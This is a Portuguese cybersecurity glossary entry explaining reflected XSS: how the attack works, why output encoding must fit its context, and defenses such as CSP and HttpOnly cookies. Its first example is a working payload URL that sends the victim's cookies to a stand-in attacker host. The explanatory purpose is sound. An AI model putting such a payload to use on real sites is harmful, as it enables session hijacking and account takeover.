Skip to content
Vol. 1 · Ed. 2026
CyberGlossary
Entry № 1022

XSS Refletido

Revisado porCybersecurity entrepreneur & security researcher

O que é XSS Refletido?

XSS RefletidoXSS não persistente em que a entrada controlada pelo atacante é imediatamente refletida na resposta e executada no navegador da vítima.


O XSS refletido (não persistente, Tipo 1) ocorre quando uma aplicação web recebe dados de uma requisição HTTP — normalmente um parâmetro de URL ou campo de formulário — e os ecoa na resposta sem codificação de saída adequada. O ataque requer que a vítima clique num link forjado, sendo geralmente distribuído por phishing, malvertising ou mensagens. A exploração bem-sucedida permite roubar cookies de sessão, executar ações em nome do utilizador ou levar a uma tomada total de conta. As defesas incluem codificação HTML sensível ao contexto, uma Content Security Policy rigorosa e frameworks que fazem auto-escape dos templates.

Anatomia de um ataque de XSS refletido

flowchart LR
  A[O atacante forja um link com script num parametro] --> B[Distribui via phishing / anuncio / chat]
  B --> C[A vitima clica no link]
  C --> D[A app reflete a entrada sem codificar]
  D --> E[O navegador executa o script na sessao]
  E --> F[Roubo de cookie / acoes como o utilizador / tomada de conta]

Por que o payload deve ser codificado conforme o seu contexto

A subtileza que define o XSS é que a «codificação» é específica do contexto: o mesmo valor é seguro num local e perigoso noutro. Dados colocados em texto HTML precisam de codificação de entidades HTML; num atributo, de codificação de atributo e aspas; num bloco <script> ou manipulador de eventos, de codificação de string JavaScript; e numa URL, de codificação de URL. Um único passo de codificação aplicado às cegas falhará nos casos em que o mesmo parâmetro é refletido em vários contextos. Os motores de templates que escapam por omissão (JSX do React, Angular ou templating do lado do servidor com escape contextual) eliminam a maioria do XSS refletido, desde que se evitem atalhos como dangerouslySetInnerHTML ou innerHTML.

Os filtros do navegador já não são uma defesa. A Google removeu o XSS Auditor do Chrome na versão 78 (outubro de 2019) porque era facilmente contornável, gerava falsos positivos e podia ser abusado para desativar seletivamente scripts legítimos; o cabeçalho X-XSS-Protection que ele respeitava está hoje praticamente obsoleto. Os controlos duradouros são a codificação de saída sensível ao contexto, uma Content Security Policy rigorosa (idealmente baseada em nonce ou hash), cookies HttpOnly para que um script roubado não consiga ler a sessão, e a validação de entrada como defesa em profundidade em vez de barreira principal.

Exemplos

  1. 01

    https://exemplo.com/search?q=<script>document.location='https://mau/?c='+document.cookie</script>

  2. 02

    Página de erro que reflete um parâmetro 'message' sem sanitização diretamente no DOM.

Perguntas frequentes

O que é XSS Refletido?

XSS não persistente em que a entrada controlada pelo atacante é imediatamente refletida na resposta e executada no navegador da vítima. Pertence à categoria Ataques e ameaças da cibersegurança.

O que significa XSS Refletido?

XSS não persistente em que a entrada controlada pelo atacante é imediatamente refletida na resposta e executada no navegador da vítima.

Como se defender contra XSS Refletido?

As defesas contra XSS Refletido costumam combinar controles técnicos e práticas operacionais, conforme detalhado na definição acima.

Quais são outros nomes para XSS Refletido?

Nomes alternativos comuns: XSS não persistente, XSS Tipo 1.

Termos relacionados

Ver também